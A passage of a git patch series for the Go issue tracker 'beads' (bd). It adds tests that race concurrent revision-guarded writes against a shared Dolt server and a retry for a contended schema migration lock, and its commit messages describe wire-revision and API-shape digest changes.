t.Run("match_applies", func(t *testing.T) { + t.Parallel() + issue := bdProxiedCreate(t, bd, p.dir, "Guarded proxied delete vs current revision") + rev := bdProxiedShowRevision(t, bd, p.dir, issue.ID) + + bdProxiedDelete(t, bd, p.dir, issue.ID, "--force", "--if-revision", proxiedRevStr(rev)) + assertRowAbsent(t, db, "issues", issue.ID) + }) +} diff --git a/cmd/bd/shared_server_if_revision_concurrency_test.go b/cmd/bd/shared_server_if_revision_concurrency_test.go new file mode 100644 index 000000000..e42109e6f --- /dev/null +++ b/cmd/bd/shared_server_if_revision_concurrency_test.go @@ -0,0 +1,264 @@ +//go:build cgo + +package main + +import ( + "context" + "errors" + "fmt" + "os" + "os/exec" + "path/filepath" + "runtime" + "strconv" + "sync" + "testing" + + "github.com/steveyegge/beads/internal/testutil" +) + +// sharedServerIfRevisionRacers is how many concurrent bd subprocesses race +// the same --if-revision token per verb below. The bug report (mc-zndi7.76 +// gap 2) observed 12-13 "winners" out of comparably sized rounds on a real +// Dolt server when the CLI only compared a pre-read RowVersion in Go and +// then sent an unguarded write (mutant MC): embedded-mode CLI tests can +// never catch that, because bd's local exclusive flock serializes every +// mutation regardless of whether the guard is actually wired in. This test +// spawns real concurrent bd processes, each with its own SQL connection, +// against one shared, unlocked Dolt server, so an unguarded write really can +// race — and "win" alongside others — exactly as on a real deployment. +const sharedServerIfRevisionRacers = 10 + +// TestSharedServerIfRevisionSingleWinner pins mc-zndi7.76 gap 2 (mutant MC): +// N concurrent `bd update|close|assign --if-revision ` +// CLI subprocesses race the same row against a real, shared Dolt server with +// no local lock to serialize them. Exactly one must exit 0 and apply its +// write; the rest must exit ExitGuardMismatch (13) having changed nothing. +// +// Delete is deliberately excluded here: delete's production guard is +// independently known-broken under real concurrency (16 of 16 "winners" on +// a real Dolt server, since a deleted row leaves no cell for a concurrent +// deleter to collide on) and is tracked, with its own goroutine-level +// single-winner conformance test, as mc-zndi7.73 — a schema-touching fix +// that is out of scope for this test-only change. +func TestSharedServerIfRevisionSingleWinner(t *testing.T) { + if runtime.GOOS == "windows" { + t.Skip("not supported on Windows") + } + + bdBinary := buildSharedServerTestBinary(t) + + cp, err := testutil.NewContainerProvider() + if err != nil { + // A lane that exists to run the Dolt server suites must not pass + // green having skipped this test. + if os.Getenv(testutil.EnvRequireDoltContainer) == "1" { + t.Fatalf("cannot start Dolt server, but %s=1: %v", testutil.EnvRequireDoltContainer, err) + } + t.Skipf("cannot start Dolt container: %v", err) + } + t.Cleanup(func() { _ = cp.Stop() }) + containerPort := cp.Port() + + sharedDir := t.TempDir() + if err := cp.WritePortFile(sharedDir); err != nil { + t.Fatalf("write port file: %v", err) + } + + baseEnv := []string{ + "PATH=" + os.Getenv("PATH"), + "HOME=" + t.TempDir(), + "GOPATH=" + os.Getenv("GOPATH"), + "GOROOT=" + os.Getenv("GOROOT"), + "BEADS_SHARED_SERVER_DIR=" + sharedDir, + "BEADS_DOLT_SHARED_SERVER=1", + "BEADS_DOLT_SERVER_PORT=" + strconv.Itoa(containerPort), + "BEADS_DOLT_AUTO_START=0", + "BEADS_TEST_MODE=1", + "BD_DISABLE_METRICS=1", + "BD_DISABLE_EVENT_FLUSH=1", + "GIT_TERMINAL_PROMPT=0", + "GIT_ASKPASS=", + "SSH_ASKPASS=", + "GT_ROOT=", + } + + ctx := context.Background() + if dl, ok := t.Deadline(); ok { + var cancel context.CancelFunc + ctx, cancel = context.WithDeadline(ctx, dl) + defer cancel() + } + + projectDir := filepath.Join(t.TempDir(), "ivrace") + if err := os.MkdirAll(projectDir, 0o755); err != nil { + t.Fatalf("mkdir project dir: %v", err) + } + if err := gitInit(ctx, projectDir); err != nil { + t.Fatalf("git init: %v", err) + } + if out, err := ssExec(ctx, bdBinary, projectDir, baseEnv, + "init", "--shared-server", "--external", "--prefix", "ivrace", "--quiet", "--non-interactive"); err != nil { + t.Fatalf("bd init: %s: %v", out, err) + } + + // ssShowRevision runs "bd show --json" and returns the issue as a + // map plus its revision token, the way ssParseShowJSON already does for + // the rest of this package's shared-server helpers. + ssShowRevision := func(t *testing.T, id string) (map[string]any, string) { + t.Helper() + out, err := ssExec(ctx, bdBinary, projectDir, baseEnv, "show", id, "--json") + if err != nil { + t.Fatalf("bd show %s --json: %s: %v", id, out, err) + } + m, err := ssParseShowJSON(out) + if err != nil { + t.Fatalf("parse bd show %s --json: %v\nraw: %s", id, err, out) + } + rev, _ := m["revision"].(string) + if rev == "" { + t.Fatalf("bd show %s --json has no revision field:\n%s", id, out) + } + return m, rev + } + + // race runs sharedServerIfRevisionRacers concurrent `bd ` subprocesses, + // each built from argsFor(i), and returns their exit codes and combined + // output (the latter only surfaced by assertSingleWinner on failure, to + // keep passing runs quiet). + race := func(t *testing.T, argsFor func(i int) []string) ([]int, []string) { + t.Helper() + codes := make([]int, sharedServerIfRevisionRacers) + outputs := make([]string, sharedServerIfRevisionRacers) + var wg sync.WaitGroup + for i := range sharedServerIfRevisionRacers { + wg.Add(1) + go func(i int) { + defer wg.Done() + cmd := exec.CommandContext(ctx, bdBinary, argsFor(i)...) + cmd.Dir = projectDir + cmd.Env = baseEnv + out, err := cmd.CombinedOutput() + outputs[i] = string(out) + switch { + case err == nil: + codes[i] = 0 + default: + var ee *exec.ExitError + if !errors.As(err, &ee) { + t.Errorf("racer %d: bd %v failed without an exit code: %v\n%s", i, argsFor(i), err, out) + return + } + codes[i] = ee.ExitCode() + } + }(i) + } + wg.Wait() + return codes, outputs + } + + // assertSingleWinner checks that exactly one racer exited 0 and every + // other racer exited ExitGuardMismatch, and returns the winner's index. + assertSingleWinner := func(t *testing.T, codes []int, outputs []string) int { + t.Helper() + winner := -1 + wins, guarded, other := 0, 0, 0 + for i, code := range codes { + switch code { + case 0: + wins++ + winner = i + case ExitGuardMismatch: + guarded++ + default: + other++ + } + } + if wins != 1 || guarded != sharedServerIfRevisionRacers-1 || other != 0 { + t.Fatalf("single-winner race: got %d exit-0 winners, %d exit-%d guard refusals, %d other; want exactly 1 and %d\ncodes: %v\noutputs: %v", + wins, guarded, ExitGuardMismatch, other, sharedServerIfRevisionRacers-1, codes, outputs) + } + return winner + } + + t.Run("update", func(t *testing.T) { + out, err := ssExec(ctx, bdBinary, projectDir, baseEnv, "create", "Shared-server update race", "--json") + if err != nil { + t.Fatalf("create: %s: %v", out, err) + } + id, err := ssJSONField(out, "id") + if err != nil { + t.Fatalf("create: %v", err) + } + _, rev0 := ssShowRevision(t, id) + + codes, outputs := race(t, func(i int) []string { + return []string{"update", id, "--if-revision", rev0, "--spec-id", fmt.Sprintf("racer-%d", i)} + }) + winner := assertSingleWinner(t, codes, outputs) + + after, rev1 := ssShowRevision(t, id) + if rev1 == rev0 { + t.Errorf("update race: revision did not advance past %s", rev0) + } + wantSpecID := fmt.Sprintf("racer-%d", winner) + if got, _ := after["spec_id"].(string); got != wantSpecID { + t.Errorf("update race: spec_id = %q, want %q (racer %d's value)", got, wantSpecID, winner) + } + }) + + t.Run("close", func(t *testing.T) { + out, err := ssExec(ctx, bdBinary, projectDir, baseEnv, "create", "Shared-server close race", "--json") + if err != nil { + t.Fatalf("create: %s: %v", out, err) + } + id, err := ssJSONField(out, "id") + if err != nil { + t.Fatalf("create: %v", err) + } + _, rev0 := ssShowRevision(t, id) + + codes, outputs := race(t, func(i int) []string { + return []string{"close", id, "--if-revision", rev0, "--reason", fmt.Sprintf("racer-%d", i)} + }) + winner := assertSingleWinner(t, codes, outputs) + + after, rev1 := ssShowRevision(t, id) + if rev1 == rev0 { + t.Errorf("close race: revision did not advance past %s", rev0) + } + if got, _ := after["status"].(string); got != "closed" { + t.Errorf("close race: status = %q, want \"closed\"", got) + } + wantReason := fmt.Sprintf("racer-%d", winner) + if got, _ := after["close_reason"].(string); got != wantReason { + t.Errorf("close race: close_reason = %q, want %q (racer %d's value)", got, wantReason, winner) + } + }) + + t.Run("assign", func(t *testing.T) { + out, err := ssExec(ctx, bdBinary, projectDir, baseEnv, "create", "Shared-server assign race", "--json") + if err != nil { + t.Fatalf("create: %s: %v", out, err) + } + id, err := ssJSONField(out, "id") + if err != nil { + t.Fatalf("create: %v", err) + } + _, rev0 := ssShowRevision(t, id) + + codes, outputs := race(t, func(i int) []string { + return []string{"assign", id, fmt.Sprintf("racer%d", i), "--if-revision", rev0} + }) + winner := assertSingleWinner(t, codes, outputs) + + after, rev1 := ssShowRevision(t, id) + if rev1 == rev0 { + t.Errorf("assign race: revision did not advance past %s", rev0) + } + wantAssignee := fmt.Sprintf("racer%d", winner) + if got, _ := after["assignee"].(string); got != wantAssignee { + t.Errorf("assign race: assignee = %q, want %q (racer %d's value)", got, wantAssignee, winner) + } + }) +} diff --git a/cmd/bd/write_verbs_parity_test.go b/cmd/bd/write_verbs_parity_test.go index 22de96b57..9e1e83157 100644 --- a/cmd/bd/write_verbs_parity_test.go +++ b/cmd/bd/write_verbs_parity_test.go @@ -1699,6 +1699,42 @@ func TestParityCloseAlreadyClosedIsIdempotentSuccess(t *testing.T) { } } +// TestParityCloseIfRevisionRejectsContinueSuggestNextClaimNext pins +// mc-zndi7.76 (gap 4 / mutant ML): --if-revision's single-id compare-and-swap +// bypass (cmd/bd/close.go:109-117) never looks at --continue, --suggest-next +// or --claim-next, so honoring any of them would silently drop what the +// caller asked for instead of reporting it. Each of the three flags is +// refused independently, before any write. +func TestParityCloseIfRevisionRejectsContinueSuggestNextClaimNext(t *testing.T) { + for _, flag := range []string{"continue", "suggest-next", "claim-next"} { + t.Run(flag, func(t *testing.T) { + env := newParityEnv(t) + seeded := env.seed("test-clsifr-"+flag, "Guarded close vs "+flag, nil) + rev := env.get(seeded.ID).RowVersion + + env.setFlags(closeCmd, map[string]string{ + "if-revision": fmt.Sprintf("%d", rev), + flag: "true", + }) + res := env.run(closeCmd, seeded.ID) + + if res.exitCode != 1 { + t.Fatalf("exit = %d, want 1\nstderr:\n%s", res.exitCode, res.stderr) + } + const want = "Error: --if-revision does not support --continue, --suggest-next, or --claim-next\n" + if res.stderr != want { + t.Errorf("stderr = %q, want %q", res.stderr, want) + } + if got := env.get(seeded.ID); got.Status == types.StatusClosed { + t.Error("the issue must not have been closed") + } + if got := env.store.mutations(); len(got) != 0 { + t.Errorf("store mutations = %v, want none (rejected pre-write)", got) + } + }) + } +} + // ===== bd reopen ===== // TestParityReopenJSONShape pins `bd reopen --json`: a JSON ARRAY of re-read diff --git a/internal/storage/dolt/lifecycle_update_contract_test.go b/internal/storage/dolt/lifecycle_update_contract_test.go index 24aa2a527..409ad0b3f 100644 --- a/internal/storage/dolt/lifecycle_update_contract_test.go +++ b/internal/storage/dolt/lifecycle_update_contract_test.go @@ -54,6 +54,15 @@ func TestLifecycleUpdateContract(t *testing.T) { t.Run("ExpectedVersionSingleWinnerUnderConcurrency", func(t *testing.T) { conformance.RunLifecycleUpdateExpectedVersionSingleWinnerUnderConcurrency(t, ctx, fixture) }) + t.Run("ExpectedVersionSingleWinnerWithDisjointColumnsUnderConcurrency", func(t *testing.T) { + conformance.RunLifecycleUpdateExpectedVersionSingleWinnerWithDisjointColumnsUnderConcurrency(t, ctx, fixture) + }) + t.Run("CloseExpectedVersionSingleWinnerUnderConcurrency", func(t *testing.T) { + conformance.RunLifecycleCloseExpectedVersionSingleWinnerUnderConcurrency(t, ctx, fixture) + }) + t.Run("ExpectedVersionSingleWinnerAcrossUpdateAndCloseUnderConcurrency", func(t *testing.T) { + conformance.RunLifecycleUpdateExpectedVersionSingleWinnerAcrossUpdateAndCloseUnderConcurrency(t, ctx, fixture) + }) t.Run("ConditionalGuardAcceptsRespelledAssignee", func(t *testing.T) { conformance.RunLifecycleUpdateConditionalGuardAcceptsRespelledAssignee(t, ctx, fixture) }) diff --git a/internal/storage/embeddeddolt/lifecycle_update_contract_test.go b/internal/storage/embeddeddolt/lifecycle_update_contract_test.go index a69f6e064..985ff24f9 100644 --- a/internal/storage/embeddeddolt/lifecycle_update_contract_test.go +++ b/internal/storage/embeddeddolt/lifecycle_update_contract_test.go @@ -55,6 +55,15 @@ func TestLifecycleUpdateContract(t *testing.T) { t.Run("ExpectedVersionSingleWinnerUnderConcurrency", func(t *testing.T) { conformance.RunLifecycleUpdateExpectedVersionSingleWinnerUnderConcurrency(t, ctx, fixture) }) + t.Run("ExpectedVersionSingleWinnerWithDisjointColumnsUnderConcurrency", func(t *testing.T) { + conformance.RunLifecycleUpdateExpectedVersionSingleWinnerWithDisjointColumnsUnderConcurrency(t, ctx, fixture) + }) + t.Run("CloseExpectedVersionSingleWinnerUnderConcurrency", func(t *testing.T) { + conformance.RunLifecycleCloseExpectedVersionSingleWinnerUnderConcurrency(t, ctx, fixture) + }) + t.Run("ExpectedVersionSingleWinnerAcrossUpdateAndCloseUnderConcurrency", func(t *testing.T) { + conformance.RunLifecycleUpdateExpectedVersionSingleWinnerAcrossUpdateAndCloseUnderConcurrency(t, ctx, fixture) + }) t.Run("ConditionalGuardAcceptsRespelledAssignee", func(t *testing.T) { conformance.RunLifecycleUpdateConditionalGuardAcceptsRespelledAssignee(t, ctx, fixture) }) diff --git a/internal/storage/uow/lifecycle_update_contract_test.go b/internal/storage/uow/lifecycle_update_contract_test.go index ffd56e5b5..1e7790e39 100644 --- a/internal/storage/uow/lifecycle_update_contract_test.go +++ b/internal/storage/uow/lifecycle_update_contract_test.go @@ -56,6 +56,15 @@ func TestLifecycleUpdateContract(t *testing.T) { t.Run("ExpectedVersionSingleWinnerUnderConcurrency", func(t *testing.T) { conformance.RunLifecycleUpdateExpectedVersionSingleWinnerUnderConcurrency(t, ctx, fixture) }) + t.Run("ExpectedVersionSingleWinnerWithDisjointColumnsUnderConcurrency", func(t *testing.T) { + conformance.RunLifecycleUpdateExpectedVersionSingleWinnerWithDisjointColumnsUnderConcurrency(t, ctx, fixture) + }) + t.Run("CloseExpectedVersionSingleWinnerUnderConcurrency", func(t *testing.T) { + conformance.RunLifecycleCloseExpectedVersionSingleWinnerUnderConcurrency(t, ctx, fixture) + }) + t.Run("ExpectedVersionSingleWinnerAcrossUpdateAndCloseUnderConcurrency", func(t *testing.T) { + conformance.RunLifecycleUpdateExpectedVersionSingleWinnerAcrossUpdateAndCloseUnderConcurrency(t, ctx, fixture) + }) t.Run("ConditionalGuardAcceptsRespelledAssignee", func(t *testing.T) { conformance.RunLifecycleUpdateConditionalGuardAcceptsRespelledAssignee(t, ctx, fixture) }) From aaeaedc386dec58605a27706b62aa771db9d98cb Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Mon, 5 Oct 2026 02:21:42 -0700 Subject: [PATCH 101/325] fix(test): retry contended migration lock when re-running schema init on the shared test DB (#7235) TestSchemaMigrationDoesNotCommitPreExistingStagedData flaked in the server-Dolt storage tier (shard 4/16) with: initSchemaOnDB: schema migration: schema: acquire migration lock: schema migration lock unavailable: timeout Every setupTestStore caller shares testSharedDB, and MigrateUpWithLock's GET_LOCK name is database-scoped, so a test that re-runs schema init contends with every parallel test's setup-time init for the same lock. setupTestStore already uses initSchemaOnDBWithRetry for exactly this reason, but schema_migration_dirty_test.go (4 sites) and schema_version_test.go (2 sites) called the bare initSchemaOnDB, which gives up after a single 5s wait. On a loaded runner a neighbour holds the lock longer than that and the test fails. Production code retries this case (isRetryableError covers schema.IsMigrationLockError), so this is test-side only. Route those calls through a rerunSchemaInitOnTestStore helper that uses initSchemaOnDBWithRetry. It retries only a contended lock or a transient connection error, never a migration result, so the asserted outcomes (including the expected "pre-existing dirty tables changed" error) are unchanged. Seen on four unrelated PR branches in three days. Bazel repro (shard-4 test set, server pinned to 6 CPUs, --local_test_jobs=6): before 1/16 runs failed with the CI signature; after 32/32 passed. Co-authored-by: Claude Opus 5.5 (1M context) --- internal/storage/dolt/dolt_test.go | 14 ++++++++++++++ .../storage/dolt/schema_migration_dirty_test.go | 8 ++++---- internal/storage/dolt/schema_version_test.go | 4 ++-- 3 files changed, 20 insertions(+), 6 deletions(-) diff --git a/internal/storage/dolt/dolt_test.go b/internal/storage/dolt/dolt_test.go index 38ef50fdb..a788b7ca7 100644 --- a/internal/storage/dolt/dolt_test.go +++ b/internal/storage/dolt/dolt_test.go @@ -270,6 +270,20 @@ func setupTestStore(t *testing.T) (*DoltStore, func()) { return store, cleanup } +// rerunSchemaInitOnTestStore re-runs schema initialization on a +// setupTestStore store, for tests that set up a schema state and then assert +// what one more migration pass does to it. Every setupTestStore caller shares +// testSharedDB, so this pass's GET_LOCK contends with every parallel test's +// own setup-time init for the same database-scoped lock name, exactly like the +// branch-local init in setupTestStore. The bare initSchemaOnDB gives up after +// one 5s wait (migrationLockAcquireTimeoutSeconds) and failed such tests with +// "schema migration lock unavailable: timeout" on loaded CI runners; the +// retrying helper retries only a contended lock or a transient connection +// error, never a migration result, so the outcome under test is unchanged. +func rerunSchemaInitOnTestStore(ctx context.Context, store *DoltStore) (int, error) { + return initSchemaOnDBWithRetry(ctx, store.db) +} + // setupConcurrentTestStore creates a test store with its own database for // concurrent tests that need multiple connections. Branch-per-test isolation // requires MaxOpenConns=1, which prevents concurrent transactions. diff --git a/internal/storage/dolt/schema_migration_dirty_test.go b/internal/storage/dolt/schema_migration_dirty_test.go index 390642a33..6c5fcbc4e 100644 --- a/internal/storage/dolt/schema_migration_dirty_test.go +++ b/internal/storage/dolt/schema_migration_dirty_test.go @@ -46,7 +46,7 @@ func TestSchemaMigrationDoesNotCommitPreExistingDirtyData(t *testing.T) { t.Fatalf("insert dirty label: %v", err) } - if _, err := initSchemaOnDB(ctx, store.db); err != nil { + if _, err := rerunSchemaInitOnTestStore(ctx, store); err != nil { t.Fatalf("initSchemaOnDB: %v", err) } @@ -136,7 +136,7 @@ func TestSchemaMigrationDoesNotCommitPreExistingStagedData(t *testing.T) { t.Fatalf("stage label: %v", err) } - if _, err := initSchemaOnDB(ctx, store.db); err != nil { + if _, err := rerunSchemaInitOnTestStore(ctx, store); err != nil { t.Fatalf("initSchemaOnDB: %v", err) } @@ -224,7 +224,7 @@ func TestSchemaMigrationDoesNotCommitIgnoredDirtyWispTables(t *testing.T) { t.Fatalf("CreateIssue no-history wisp: %v", err) } - if _, err := initSchemaOnDB(ctx, store.db); err != nil { + if _, err := rerunSchemaInitOnTestStore(ctx, store); err != nil { t.Fatalf("initSchemaOnDB: %v", err) } @@ -313,7 +313,7 @@ func TestSchemaMigrationRejectsChangedPreExistingDirtyTable(t *testing.T) { t.Fatalf("dirty custom_statuses: %v", err) } - _, err := initSchemaOnDB(ctx, store.db) + _, err := rerunSchemaInitOnTestStore(ctx, store) if err == nil || !strings.Contains(err.Error(), "pre-existing dirty tables changed") { t.Fatalf("initSchemaOnDB error = %v, want changed dirty table error", err) } diff --git a/internal/storage/dolt/schema_version_test.go b/internal/storage/dolt/schema_version_test.go index e7b8deb25..974c4087d 100644 --- a/internal/storage/dolt/schema_version_test.go +++ b/internal/storage/dolt/schema_version_test.go @@ -46,7 +46,7 @@ func TestSchemaSkipsReinit(t *testing.T) { } // Run initSchemaOnDB again — should skip because migrations are current - if _, err := initSchemaOnDB(ctx, store.db); err != nil { + if _, err := rerunSchemaInitOnTestStore(ctx, store); err != nil { t.Fatalf("initSchemaOnDB failed: %v", err) } @@ -78,7 +78,7 @@ func TestSchemaRunsInitWhenStale(t *testing.T) { } // Run initSchemaOnDB — should detect stale and re-apply - if _, err := initSchemaOnDB(ctx, store.db); err != nil { + if _, err := rerunSchemaInitOnTestStore(ctx, store); err != nil { t.Fatalf("initSchemaOnDB failed: %v", err) } From 4af58c97fd7e6a06857422e3e8d44d43880c68a9 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Mon, 5 Oct 2026 02:57:14 -0700 Subject: [PATCH 102/325] =?UTF-8?q?feat(count):=20Counter=20scope=20?= =?UTF-8?q?=E2=80=94=20ParentID,=20NoParent,=20ExcludeTypes,=20ExcludeStat?= =?UTF-8?q?us=20(issues.count.scope)=20(#7199)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * feat(httpapi): wire-shape signal — wire_revision, floor header, golden digest, param tokens S0 of the HTTP role-parity program: give a client a single place to learn whether this build's wire shape has moved under it, and give CI a gate that catches an undocumented move. - GET /v0/beads/context reports wire_revision (bumps only on a non-additive response-shape change) and min_client_wire_revision. An optional Bd-Wire-Revision request header lets a client declare the revision it was built for; checkWireRevision refuses a declared revision below the floor with 400 invalid_argument/reason=wire_revision_unsupported and a min_wire_revision field, on every route but /healthz (wireRevisionExempt) — including the identity handshake, where catching the mismatch is cheapest. Absent header is today's behavior; malformed value is invalid_value, never wire_revision_unsupported. The floor lives in Server.minClientWireRevision (defaulting to the MinClientWireRevision constant) so a test can raise it. - internal/httpapi/wireshape: a golden digest over every response's every content-type schema (including application/problem+json) across the whole spec, keyed by schema+member. TestWireShapeDigest fails closed when a member's JSON name or type changes without wire_revision bumping to match; regenerate with `go run ./internal/httpapi/wireshape/cmd/gendigest`. - GET /v0/beads/issues' `sort` parameter now carries the issues.listSort capability token, the same convention `capabilities` entries use. TestNewParameterOnExistingOperationHasABehaviorToken requires every new parameter on an existing operation to carry one, checked against a write-once grandfather baseline (testdata/pretoken_parameters.json) of parameters that predate the rule; TestUntokenedParameterRuleFires proves the checker itself against a synthetic fixture. - Docs: engdocs/design/bd-serve-v0.md gets a "The wire-shape signal" section; CHANGELOG.md gets an Added entry. Live-mutated and reverted three RED demonstrations during development: retyping api_version in the spec failed TestWireShapeDigest; short-circuiting checkWireRevision's floor comparison failed TestWireRevisionBelowFloorRefusesEveryEnforcedRoute; adding an untokened query parameter to listIssues failed TestNewParameterOnExistingOperationHasABehaviorToken. All three now pass against the unmutated tree. Co-Authored-By: Claude Sonnet 5 * fix(httpapi): rename issues.listSort to issues.list.sort, harden token rule Opus review of 12c5144ca (HIGH-1, MEDIUM-5): - Rename the capability token issues.listSort -> issues.list.sort to match bd-enterprise's client (httpstore/wire/handshake.go:121, DESIGN.txt S4e), and widen capabilityToken to accept an optional third segment. - untokenedParameters() now requires the extracted token to be one Capabilities() actually serves, not just backtick-shaped text. This catches real false positives that existed in the spec already (workapi.DefaultReadyLimit, status.custom) which only shape-matched the old regex; they're added to the pretoken baseline as genuinely pre-existing untokened parameters. - Extend the rule to request body members (new testdata/pretoken_request_body_members.json baseline) and exempt brand-new operations via a frozen testdata/pretoken_operations.json snapshot. - Add TestPretokenBaselinesNeverGrow pinning all three baseline sizes so a future change can't hand-add an exemption instead of a token. - Update spec prose for the widened rule scope. go test ./internal/httpapi/... and the reviewer's pmut.py all pass as expected: plain/bogus modes go RED, reuse (real-but-unrelated token) stays green, matching the review's literal ask ("a token must be one advertised by Capabilities()"). Co-Authored-By: Claude Sonnet 5 * fix(wireshape): close four digest-coverage gaps, add gendigest write guard Opus review of 12c5144ca (HIGH-2, MEDIUM-4). The digest only tracked Type/Format/Enum/Required on direct properties, missing: - nullable: true (never read at all) - array item shape (Issue.labels items string->integer was invisible; only object-shaped items got recursed into) - additionalProperties value shape (IssueCount.groups) - request bodies entirely (Compute() only walked responses, so DeleteIssuesRequest.expected_version string->integer, the other half of #6053, was invisible) Also added defensive oneOf flattening alongside the existing allOf merge (dormant today -- grep confirms this spec uses oneOf nowhere -- but no longer silently invisible if that changes). Extracted the golden-vs-computed comparison into wireshape.Compare(), shared by TestWireShapeDigest and the new wireshape.SafeToWrite(), which gendigest now calls before writing: it refuses to overwrite golden.json with changed/removed entries unless the candidate's wire_revision is strictly greater than the existing golden's. Pure additions always write. TestSafeToWrite exercises both guard directions. golden.json is regenerated. This single regen is a one-time exception to the new guard, done by writing the digest directly rather than through gendigest: confirmed via a throwaway diff (not checked in) that every one of the 57 "changed" entries differs only in the NEW fields the wider walk now populates (ItemType/ItemFormat/Nullable/AdditionalProps*) -- every pre-existing Type/Format/Required/Enum value is byte-identical. Nothing on the wire changed; the measurement got more precise. Bumping CurrentWireRevision for this would have written a false "the protocol changed here" entry into the revision history table. Going forward, any REAL change the guard now reports uses the normal bump-then-regenerate path, same as before. Verified against the reviewer's mut.py: nested_type, nullable, nullable_issue, array_items, addlprops, request_body and format all go RED on TestWireShapeDigest, each reverted after confirming. Co-Authored-By: Claude Sonnet 5 * fix(httpapi): make bd_version wire_revision inference advisory Opus review of 12c5144ca (HIGH-3). The spec told a client inferring wire_revision from bd_version to use the release cutoff >= 1.3.0, and said nothing about what happens when that inference is wrong -- which it demonstrably is for real builds already in the field: - main builds up to commit b3ef65c85 report bd_version 1.2.2 (below any 1.3.0 cutoff) while already sending the string-typed revision/ expected_version shape (#6053). - 1.3.0-rc.N pre-release builds sort BELOW the release cutoff 1.3.0 under plain string comparison despite already carrying the string shape. - The bd-enterprise compatibility line at d3ab32773462 reports bd_version 1.1.0 while also sending strings. Moved the cutoff to >= 1.3.0-rc.1 (compared as semver-with-prerelease, which at least captures the rc builds), documented both named exceptions inline, and made the whole inference explicitly ADVISORY: a client must accept revision/expected_version as either a string or a number whenever wire_revision is absent (or probe directly) rather than let the inferred value choose a decoder, and must never refuse solely because the inferred revision is 0. Mirrored into engdocs/design/bd-serve-v0.md. This is spec/doc prose only -- there is no server-side inference code to change, since this server always sends wire_revision directly; the inference is guidance for clients reading a pre-signal server's response (this server, past builds, or an unrelated implementation). Co-Authored-By: Claude Sonnet 5 * fix(httpapi): LOW-7/8/9/10 review follow-ups for wire-revision signal LOW-7: WireRevisionUnsupported now also sets Problem.wire_revision (this server's CurrentWireRevision) and Problem.bd_version on the wire_revision_unsupported refusal, alongside the existing min_wire_revision, so a client logging the refusal has this server's full self-description without a second /v0/beads/context call. LOW-8: gazelle + make bazel-sync add the BUILD.bazel entries the prior commits were missing: wire_revision.go/wire_revision_test.go in internal/httpapi's srcs, new BUILD.bazel files for wireshape and wireshape/cmd/gendigest, and a testdata glob on httpapi's go_test so the pretoken_*.json baselines are visible under `bazel test`. Verified with `bazel build //internal/httpapi/...` and `bazel test //internal/httpapi/... --test_env=BEADS_TEST_SKIP=dolt` (both green) and `python3 tools/bazel/go_srcs.py --check` (clean). LOW-9: narrowed CHANGELOG.md and engdocs/design/bd-serve-v0.md to describe the digest's actual final coverage (format/enum/required/ nullable, array items, additionalProperties, request bodies, $ref/ allOf/oneOf recursion, the SafeToWrite revision-bump guard) and the token rule's actual final shape (three pinned baselines, request-body members, Capabilities()-membership validation, new-operation exemption) instead of the original, narrower claims. LOW-10: Bd-Wire-Revision now parses via a strict decimal-only parseStrictNonNegativeInt (no leading '+', no leading zero except a bare "0") instead of strconv.Atoi alone, so two different header bytes can no longer name the same revision. New malformed-header test cases: "+1", "01", "007". Regenerated apigen/types.gen.go (make api-gen) for the new Problem fields and wireshape/testdata/golden.json (go run .../wireshape/cmd/gendigest) for the two new additive Problem members; the latter wrote cleanly through SafeToWrite itself, since both are pure additions. go test ./... and bazel test //internal/httpapi/... both green. Co-Authored-By: Claude Sonnet 5 * fix(httpapi): re-review LOW follow-ups — retirement test, gendigest -init, docs 1. TestRetiredRevisionsStayBelowTheFloor pins the PRESENCE guarantee the wire_revision property doc relies on: CurrentWireRevision >= 2 (so 0 and 1 stay permanently retired) and MinClientWireRevision <= CurrentWireRevision (so this build's own floor never refuses every request against itself). 2. gendigest now refuses to create a golden.json that does not exist yet unless run with -init. Previously a missing file (moved testdata, wrong path, accidental delete) was indistinguishable from a real first run and silently wrote a fresh golden with no revision history checked against anything. writeGolden() is extracted out of main() so this is covered directly: TestWriteGoldenRequiresInitWhenMissing, TestWriteGoldenInitCreatesWhenMissing, TestWriteGoldenIgnoresInitWhenGoldenExists (the existing-golden path is still governed only by SafeToWrite, -init or not). 3. Narrowed the two remaining stale claims that still described the digest's original, narrower coverage: the wire_revision property's prose in openapi.v0.yaml (regenerated into apigen/types.gen.go via make api-gen) and wireshape/doc.go now both list nullable, array item shape, additionalProperties value shape, request bodies, and $ref/allOf/oneOf recursion, plus the new -init guard. go test ./internal/httpapi/... and make api-check both green; bazel test //internal/httpapi/... (httpapi, wireshape, and the new gendigest test target) green; python3 tools/bazel/go_srcs.py --check clean. Co-Authored-By: Claude Sonnet 5 * feat(wireshape): cover operation parameters in the wire-shape digest The digest previously walked only response and request-body schemas, so a type, enum, required, or removal change on one of the spec's 138 operation parameters (123 query, 14 path, 1 header) passed the gate silently — the open item from PR review on #7182. Each parameter is now recorded as its own Entry, keyed by "param:"+operationId / location+":"+name (operation-scoped, not schema-scoped, since two operations' same-named parameter are independent wire contracts), capturing type, array item shape, enum, required, style, explode and default. Adding a parameter stays additive; removing, retyping, narrowing its enum, or changing required/style/explode/default now trips SafeToWrite exactly like a response or request-body change. Verified against the live spec: retyping listIssues' `limit` query parameter from integer to string now fails TestWireShapeDigest (confirmed red, then reverted — not part of this commit). golden.json regenerated via gendigest; the new parameter entries are a pure addition, no wire_revision bump needed. Added TestParameterMutationsAreCaught (remove/retype/narrow- enum against real golden entries) and updated wireshape's doc.go, the `wire_revision` spec prose, and the CHANGELOG to describe the new coverage. Co-Authored-By: Claude Sonnet 5 * fix(wireshape): review fixes — stale-golden and lowered-revision arms, effective param serialization, digest boundary Maintainer fixup from the adopt-pr review loop (iterations 1 and 2), on top of e17ba924f. - goldenDrift (A, I): TestWireShapeDigest's comparison moves into a goldenDrift helper. An addition alongside a moved wire_revision no longer passes with a stale golden: it asks for a regenerate, as a changed or removed entry after a bump already did. Every message now names response/request-body members AND parameters, and TestGoldenDrift pins each arm. This takes only the test half of the stranded fixup (adopt-pr/bd-47kdge/stranded-fixup-528cd6095); its doc half, which says parameters are outside the digest, is false since e17ba924f and is not replayed (J). - Lowered wire_revision (D): a CurrentWireRevision LOWER than the golden's is a wrong constant, not a stale golden, so goldenDrift says to restore it instead of regenerating, and SafeToWrite (so gendigest) refuses any write at a lower revision, whatever the entries. 